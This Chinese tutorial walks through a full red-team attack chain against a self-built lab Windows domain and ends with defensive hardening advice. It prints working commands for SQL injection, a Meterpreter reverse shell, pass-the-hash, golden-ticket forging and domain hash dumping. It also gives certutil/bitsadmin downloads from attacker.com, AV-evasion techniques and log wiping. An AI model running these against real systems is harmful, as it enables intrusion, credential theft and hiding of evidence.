1. 项目概述与核心思路
最近几年,安全圈里“红队”这个词越来越热,很多甲方单位都在组建自己的内部红队,或者寻求外部服务。但说实话,从“知道红队是干嘛的”到“能独立跑完一个完整的红队渗透测试”,中间隔着一条巨大的鸿沟。很多新手朋友学了一堆工具,看了很多靶机教程,但真给一个真实目标,还是不知道从哪里下手,工具链怎么串起来,报告怎么写。这正是“实战演练:使用RedTeam-OffensiveSecurity工具进行完整的渗透测试”这个项目要解决的核心问题。
RedTeam-OffensiveSecurity,你可以把它理解为一个“红队武器库”或者“战术工具箱”。它不是一个单一的软件,而是一套经过整合和验证的工具、脚本、配置模板和操作流程的集合。它的价值不在于发明了某个新漏洞,而在于把渗透测试中那些繁琐、重复但又至关重要的环节标准化、自动化了,让你能把精力集中在真正的战术思考和突破上。比如,如何快速搭建一个逼真的钓鱼环境,如何在内网中隐蔽地横向移动,如何在获取权限后稳固地维持访问,这些环节单靠Kali Linux自带的工具是远远不够的,需要大量的“胶水代码”和工程化实践。
这个项目就是一次从零到一的完整旅程。我们将模拟一个从外部信息收集开始,到最终获取目标域控权限并提取核心数据的完整攻击链。我会带你走一遍红队工程师的典型工作流,重点不是某个漏洞的利用,而是整个过程的“节奏感”和“工程化”思维。你会看到工具如何被有机地组合在一起,决策点在哪里,以及遇到各种网络环境变化时该如何调整策略。
2. 环境准备与工具集深度解析
工欲善其事,必先利其器。在开始实战之前,我们必须把“战场”和“武器”准备好。这里的环境是双重的:一是我们攻击者自己的操作环境,二是我们要模拟攻击的目标环境。
2.1 攻击平台搭建与优化
大多数红队操作会选择基于Kali Linux,因为它预装了海量工具。但对于RedTeam-OffensiveSecurity这类集成化工具集,一个干净、可定制的环境更重要。我个人的习惯是使用一台纯净的Ubuntu LTS虚拟机作为基础,然后按需安装。这样能避免工具版本冲突,也方便后续的持久化配置。
首先,准备一台至少4核CPU、8GB内存、100GB硬盘的虚拟机。安装Ubuntu Server版,选择最小化安装。系统装好后,第一件事不是急着装工具,而是做好安全和匿名化基础配置:
- 更新源与系统:使用国内镜像源加速,执行
sudo apt update && sudo apt upgrade -y。 - 配置代理(仅用于合法测试环境):在测试环境中,我们可能需要通过代理访问外部资源来下载工具或进行某些查询。这里强调,所有操作必须在授权范围内进行。可以配置
proxychains,编辑/etc/proxychains.conf,在末尾添加你的代理设置,例如socks5 127.0.0.1 1080。之后,任何命令前加proxychains即可通过代理执行。 - 创建专用工作用户:不要用root用户直接操作。新建一个用户,如
redteam,并赋予其sudo权限。所有工具都安装在这个用户的家目录下,便于管理。
接下来是RedTeam-OffensiveSecurity工具集的部署。它通常以一个Git仓库的形式存在,里面包含了安装脚本和资源索引。我们克隆仓库并运行安装脚本:
git clone https://github.com/某个授权仓库/RedTeam-OffensiveSecurity.git cd RedTeam-OffensiveSecurity chmod +x install.sh ./install.sh这个安装脚本会做几件关键事:安装Python3、Go、Ruby等语言环境;从各个官方源下载并编译常见的红队工具(如impacket,bloodhound,crackmapexec等);配置一些常用的别名和环境变量;下载一些优秀的Wordlist字典文件。整个过程可能需要半小时到一小时,取决于网络。
注意:由于这类工具集会从GitHub等大量第三方地址拉取代码,在国内网络环境下极易失败。一个实用的技巧是,先查阅
install.sh脚本,把其中明确列出的核心工具(大概20-30个)手动提前下载好,放到脚本预期的目录,然后注释掉脚本中的下载命令,只执行编译和配置部分。虽然麻烦,但成功率极高。
2.2 目标环境设计与搭建
为了实战,我们需要一个模拟的企业内网环境。经典的“域渗透”环境是首选,因为它涵盖了从外网Web打点到内网横向移动、权限提升、域控攻防的完整链条。这里我推荐使用Detection Lab或自己用VMware搭建一个简易域。
简易域环境可以这样设计:
- DC(域控):一台Windows Server 2016/2019虚拟机,安装Active Directory域服务,域名设为
redteam.lab。创建一个域管理员账户Administrator和一个普通域用户zhangsan。 - WEB服务器:一台Windows 10或Server虚拟机,加入
redteam.lab域,安装IIS并部署一个存在漏洞的Web应用(比如一个老版本的CMS,或者自己写一个有SQL注入、文件上传漏洞的简单页面)。这台机器扮演“边界服务器”。 - 内部办公机:一台Windows 10虚拟机,加入域,使用普通域用户
zhangsan登录。上面安装一些办公软件,模拟员工日常工作环境。 - 攻击机:就是我们刚搭建好的Kali/Ubuntu虚拟机,配置为与上述目标机器在同一网段(如
192.168.1.0/24),但初始状态下,攻击机只能访问WEB服务器的80端口。
这个环境模拟了一个典型场景:攻击者从互联网(通过WEB服务器)进入,逐步向内网核心(域控)渗透。
2.3 核心工具选型与作用解读
RedTeam-OffensiveSecurity工具集里工具繁多,我们挑出贯穿本次实战的核心几个,理解它们的分工:
- Nmap:信息收集的基石。不止是端口扫描,它的NSE脚本能进行漏洞探测、服务识别、甚至简单的漏洞利用。本次实战中,我们将用它进行TCP/UDP端口扫描、服务版本探测和漏洞扫描。
- Impacket套件:内网渗透的“瑞士军刀”。这是一组用Python写的网络协议工具,尤其擅长处理Windows相关的协议(SMB, MSSQL, LDAP, Kerberos等)。其中的
psexec.py,smbexec.py,wmiexec.py是进行横向移动的利器,secretsdump.py用于从内存或注册表中提取哈希。 - CrackMapExec:内网“自动化攻击平台”。它像一个粘合剂,能利用已有的凭证(密码或哈希),自动对一批主机进行SMB爆破、执行命令、部署后门等操作。它的输出非常清晰,是评估内网主机脆弱性的高效工具。
- BloodHound:内网“地图绘制器”与“路径分析器”。它通过收集域内的用户、组、计算机、权限关系等数据,构建出一张巨大的关系图,并自动分析出从某个起点到域管理员的最短攻击路径。对于理解复杂的域环境至关重要。
- Metasploit Framework:渗透测试的“综合工具箱”。虽然有时显得“重”,但其稳定的载荷生成、会话管理和丰富的漏洞利用模块,在特定环节(如获取初始shell)非常可靠。我们会谨慎使用,避免触发过多的安全告警。
- Nishang:基于PowerShell的攻击框架。提供大量渗透测试脚本,从信息收集、权限提升到后门、渗出数据。在Windows目标上执行PowerShell脚本是常见手段。
理解每个工具的核心用途,才能在正确的阶段选择正确的工具,而不是一把锤子看什么都像钉子。
3. 完整渗透测试流程实战演练
现在,我们假设已经获得了对目标“redteam.lab”的授权测试许可,开始正式的渗透测试流程。整个过程遵循PTES(渗透测试执行标准)或类似框架,分为几个阶段。
3.1 阶段一:外部侦察与信息收集
在不能直接接触目标系统之前,我们需要尽可能多地收集公开信息。这不仅仅是扫描端口。
首先进行被动信息收集。使用theHarvester、sublist3r等工具,收集与目标域名redteam.lab相关的子域名、邮箱地址。虽然我们的靶机环境是内网,但这个习惯在真实测试中至关重要。假设我们发现了web.redteam.lab和mail.redteam.lab两个子域名。
接下来是主动扫描。从攻击机对WEB服务器(假设IP为192.168.1.10)进行扫描:
nmap -sS -sV -O -p- --open -T4 192.168.1.10 -oA nmap_full_scan参数解释:-sSSYN半开扫描(较隐蔽),-sV探测服务版本,-O探测操作系统,-p-扫描所有65535个端口,--open只显示开放端口,-T4加快速度,-oA输出所有格式报告。
扫描结果可能显示开放了80(HTTP)、443(HTTPS)、21(FTP)、3389(RDP)等端口。针对80端口的Web服务,我们使用gobuster或dirsearch进行目录爆破:
gobuster dir -u http://192.168.1.10 -w /usr/share/wordlists/dirb/common.txt -t 50发现了/admin、/upload、/backup等路径。访问/admin是一个登录页面,/upload是一个文件上传点。
实操心得:信息收集阶段一定要细致并做好记录。我习惯用
Obsidian或CherryTree这样的笔记软件,为每个目标建立一个笔记页,把扫描结果、发现的URL、可能的漏洞点都贴进去。清晰的记录在后续复杂的攻击链中能帮你快速回顾上下文,避免混乱。
3.2 阶段二:漏洞扫描与初始访问突破
根据信息收集的结果,我们选择突破口。假设对/admin/login.php进行手动测试,发现存在SQL注入漏洞。使用sqlmap进行自动化利用:
sqlmap -u "http://192.168.1.10/admin/login.php" --data="username=admin&password=pass" --level=3 --risk=2 --dbs成功爆出数据库名,进一步获取admin表的用户密码哈希(假设是MD5)。通过在线网站或本地hashcat破解,得到了后台管理员密码。
登录后台后,发现存在“系统配置”功能,可以上传网站Logo。尝试上传一个包含Webshell的图片马(将一句话PHP脚本嵌入图片的EXIF信息)。上传后,通过访问/upload/logo.jpg发现解析错误,但访问/upload/logo.jpg.php(假设服务器配置不当,解析了.php)成功执行了代码。
我们使用Metasploit生成一个PHP反向Shell载荷:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw > shell.php将生成的代码嵌入图片,上传并访问触发。同时在攻击机上启动msfconsole监听:
msf6 > use exploit/multi/handler msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set LHOST 192.168.1.100 msf6 exploit(multi/handler) > set LPORT 4444 msf6 exploit(multi/handler) > exploit成功获得一个meterpreter会话。这是我们进入内网的第一个立足点,即“初始访问”。
3.3 阶段三:内网横向移动与权限提升
获得WEB服务器的Shell后,我们首先进行简单的本地信息收集:whoami /all,ipconfig /all,net user,net localgroup administrators。发现当前是IIS APPPOOL\DefaultAppPool权限,权限很低,但主机在域内,主机名为WEB-SRV,域是REDTEAM。
接下来进行提权。上传WinPEAS或PowerUp.ps1等本地提权检查脚本到目标服务器并执行。假设WinPEAS提示系统未安装某个关键补丁,存在已知的本地提权漏洞(例如CVE-2021-36934)。我们搜索对应的利用代码,在攻击机编译成exe,上传到目标并执行,成功获取NT AUTHORITY\SYSTEM权限。
有了系统权限,就可以进行凭证窃取。使用meterpreter的hashdump命令或者上传mimikatz(需绕过AV)来抓取本地密码哈希。我们抓取到了本地管理员Administrator的NTLM哈希。
现在,我们有了一个高权限的立足点和一些凭证。开始内网探测。在meterpreter会话中,添加路由,让攻击机的工具能通过这个会话访问内网其他网段:
run autoroute -s 192.168.1.0/24 background # 将会话放到后台然后使用arp_scanner或auxiliary/scanner/portscan/tcp模块扫描内网其他存活主机。发现了192.168.1.1(可能是网关),192.168.1.11(域控DC),192.168.1.12(办公机CLIENT)。
现在,使用CrackMapExec,利用我们抓取到的本地管理员哈希,尝试对192.168.1.12(办公机)进行SMB攻击,看是否能传递哈希(Pass-the-Hash)获得访问权限:
crackmapexec smb 192.168.1.12 -u Administrator -H '抓取到的NTLM哈希' --local-auth如果成功,会显示PWNED!。然后我们可以使用crackmapexec直接执行命令,或者使用impacket套件中的wmiexec.py建立一个新的交互式Shell:
python3 wmiexec.py -hashes :[NTLM哈希] Administrator@192.168.1.12成功登录到办公机。在这台办公机上,我们以当前域用户zhangsan的身份运行BloodHound的采集器SharpHound.exe,收集整个域的信息。将生成的zip文件回传到攻击机,并导入到BloodHound图形化界面中进行分析。
BloodHound分析显示,域用户zhangsan所在的组对某台服务主机有“写入权限”,而那台服务主机上有一个服务账户配置了域管理员的凭据。这就构成了一条攻击路径。
3.4 阶段四:权限维持与数据获取
沿着BloodHound分析的路径,我们利用获取到的中间权限,最终通过DCSync攻击或其他方式,获取了域管理员krbtgt账户的哈希。有了这个哈希,我们就可以制作黄金票据(Golden Ticket),从而获得域内任何服务的任意权限。
制作黄金票据:
python3 ticketer.py -nthash [krbtgt的NTLM哈希] -domain-sid [域的SID] -domain redteam.lab administrator这会生成一个administrator.ccache票据文件。使用这个票据,我们可以直接访问域控192.168.1.11,无需密码:
export KRB5CCNAME=/path/to/administrator.ccache python3 psexec.py -k -no-pass redteam.lab/administrator@dc.redteam.lab成功获得域控的SYSTEM权限Shell。
在域控上,使用impacket的secretsdump.py远程执行(或者直接在获得的Shell里执行),提取域内所有用户的哈希:
python3 secretsdump.py redteam.lab/administrator@192.168.1.11 -hashes :[Administrator的NTLM哈希]至此,我们完成了整个攻击链:从外网Web漏洞获取边界服务器权限,提权后抓取哈希,横向移动到办公机,利用域关系分析找到攻击路径,最终攻陷域控并获取全部域哈希。
权限维持方面,我们可以在多台机器上创建隐藏的计划任务、注册表启动项、或者部署一个C2后门(如Cobalt Strike的Beacon),确保即使某些入口被清理,我们依然能保持访问。
4. 常见问题、防御绕过与排查实录
在实际操作中,绝不会像上面描述的那样一帆风顺。你会遇到各种防火墙、杀毒软件、入侵检测系统的拦截。下面分享一些常见的“坑”和应对技巧。
4.1 工具被拦截与免杀处理
最大的挑战之一是杀毒软件。你上传的mimikatz.exe、nc.exe、PowerShell脚本很可能瞬间就被删除了。
解决方案:
- 代码混淆与内存加载:对于PowerShell脚本,使用
Invoke-Obfuscation等工具进行混淆。或者更高级的,将可执行文件(PE)转换成Base64字符串,通过PowerShell在内存中直接加载执行,不落地磁盘。Metasploit的shellcode_inject模块和Cobalt Strike的execute-assembly功能都基于此原理。 - 合法工具滥用:使用系统自带的、白名单内的工具完成攻击。这就是所谓的“Living off the Land”。例如:
- 用
certutil.exe来下载文件:certutil -urlcache -split -f http://attacker.com/tool.exe C:\Windows\Temp\tool.exe - 用
bitsadmin下载:bitsadmin /transfer job名 http://attacker.com/tool.exe C:\tool.exe - 用
wmic执行命令:wmic process call create "cmd.exe /c whoami > C:\out.txt" - 用
msbuild.exe执行C#代码(可用于加载Mimikatz等)。
- 用
- 定制编译与加壳:自己编译攻击工具,修改特征码,或者使用商业的免杀加壳服务。但这需要一定的逆向工程基础。
4.2 横向移动受阻
内网中,SMB、WMI等端口可能被防火墙策略阻断,或者需要特定的身份验证方式。
解决方案:
- 端口转发与代理:如果WEB服务器能通内网所有机器,但你的攻击机不能直连。可以在WEB服务器上使用
plink.exe(Putty Link)或netsh建立反向SOCKS5代理,让攻击机的流量通过WEB服务器进入内网。# 在攻击机(有公网IP)上监听 ssh -CNfg -R 1080 root@攻击机IP # 在攻击机上配置proxychains使用这个反向代理,然后所有工具就能扫描内网了。 - 利用其他协议:如果445(SMB)被封,尝试135(WMI)、5985/5986(WinRM)、1433(MSSQL)等其他可能开放的端口。
CrackMapExec和Impacket工具都支持这些协议。 - Kerberos认证:在域环境中,如果NTLM认证被严格限制(如开启了NTLM Block策略),就需要使用Kerberos认证。你需要先获取一个有效的TGT票据。使用
impacket的getTGT.py,用密码或哈希申请TGT,然后使用-k参数来使用票据进行后续攻击。
4.3 流量被监控与检测
现代EDR和网络IDS非常智能,会检测异常的登录时间、登录地点、协议行为(如PsExec的特征流量)。
规避思路:
- 降低频率与速度:扫描时用低速率(
-T2),爆破时用大间隔。快速、大量的请求是告警的典型特征。 - 伪装正常流量:C2通信尽量使用HTTPS等加密协议,并且将流量伪装成与正常云服务(如AWS、Azure)或常见网站的通信。
- 使用“慢速”攻击技术:例如“密码喷洒”,即用一个弱密码去尝试大量的用户,而不是用一个用户字典去爆破一个账户。这样不容易触发账户锁定告警。
- 清理痕迹:在Windows上,用完
mimikatz后,记得清除事件日志(wevtutil cl),删除上传的工具。在Linux上,清除.bash_history,使用shred删除文件。
4.4 实战问题排查速查表
| 问题现象 | 可能原因 | 排查步骤与解决方案 |
|---|---|---|
| 扫描无结果 | 防火墙丢弃ICMP/探测包 | 1. 使用-Pn参数(Nmap)跳过主机发现,直接扫描端口。2. 使用TCP SYN扫描( -sS)或ACK扫描(-sA),比全连接扫描(-sT)更隐蔽。 |
| Shell突然断开 | 杀软终止进程、网络不稳定、会话超时 | 1. 生成持久化的后门(如Meterpreter的persistence模块)。2. 使用 AutoRunScript在会话建立后自动迁移进程到稳定进程(如explorer.exe)。3. 使用带重连功能的C2框架。 |
| 凭证无效 | 哈希已过期、账户被锁定、目标系统禁用NTLM | 1. 检查哈希格式是否正确(LM:NT)。 2. 尝试使用密码而非哈希。 3. 在域环境中,尝试申请Kerberos票据( getTGT.py)并使用票据认证(-k)。 |
| 工具执行报错 | 依赖缺失、权限不足、目标系统架构不匹配 | 1. 在Linux上运行Windows exe?使用wine或交叉编译。2. PowerShell脚本执行策略限制?使用 -ExecutionPolicy Bypass。3. 32位程序在64位系统运行?注意路径( SysWOW64)。 |
| 内网主机不通 | 不在同一网段、路由未添加、主机防火墙 | 1. 在已控主机上运行ipconfig /all和route print查看网络信息。2. 在Metasploit中使用 run autoroute -s添加路由。3. 使用 proxychains配置代理链。 |
5. 从攻击到防御:安全加固建议
真正的红队价值,不仅在于找到漏洞,更在于理解攻击链,从而提出切实有效的防御建议。基于我们上面的攻击过程,可以给防守方(蓝队)提出以下加固建议:
边界防御:
- Web应用防火墙:部署WAF,能有效拦截SQL注入、文件上传等通用Web攻击。
- 输入验证与输出编码:对所有用户输入进行严格的验证和过滤,对输出到页面的数据进行编码,这是解决注入和XSS的根本。
- 最小化攻击面:关闭服务器上不必要的端口和服务(如FTP、RDP不应直接暴露在互联网)。
终端防护:
- 启用并严格配置EDR:下一代终端检测与响应系统能有效识别内存攻击、凭证窃取、可疑进程行为。
- 实施应用程序白名单:只允许授权签名的程序运行,能彻底阻断未知恶意软件。
- 及时打补丁:建立严格的漏洞管理和补丁更新流程,尤其是公开EXP的高危漏洞。
内网安全:
- 网络分段:将核心资产(如域控、数据库)放在独立网段,通过防火墙严格控制访问,即使边界失守,也能延缓攻击者横向移动的速度。
- 禁用NTLM认证:在域环境中,尽可能强制使用Kerberos认证,并禁用过时且不安全的NTLMv1。
- 实施最小权限原则:无论是用户账户还是服务账户,只赋予其完成工作所必需的最小权限。定期审查用户权限和组成员关系,利用BloodHound这样的工具从攻击者视角审视自己的域环境。
- 监控关键日志:集中收集并分析域控的安全日志(4624登录、4625失败登录、4672特权使用)、DNS查询日志、PowerShell脚本执行日志等。异常的登录时间、大量的登录失败、来自非常用位置的WMI/SMB连接都是高危告警。
凭证安全:
- 启用LAPS:为所有加入域的计算机启用本地管理员密码解决方案,确保每台机器的本地管理员密码不同且定期随机更换,彻底阻断通过本地管理员哈希进行的横向移动。
- 保护特权账户:域管理员账户不应在普通工作站上日常使用。启用“受保护用户”组,并限制其登录范围。
- 部署Credential Guard:对于Windows 10/Server 2016以上系统,启用Credential Guard可以保护内存中的凭证哈希不被工具如Mimikatz窃取。
红队演练的最终目的,是让蓝队看到在真实攻击下自身防御体系的短板,从而迭代升级。一次好的渗透测试报告,应该像一份详细的“体检报告”和“健身指南”,清晰地指出问题,并给出可落地的修复方案。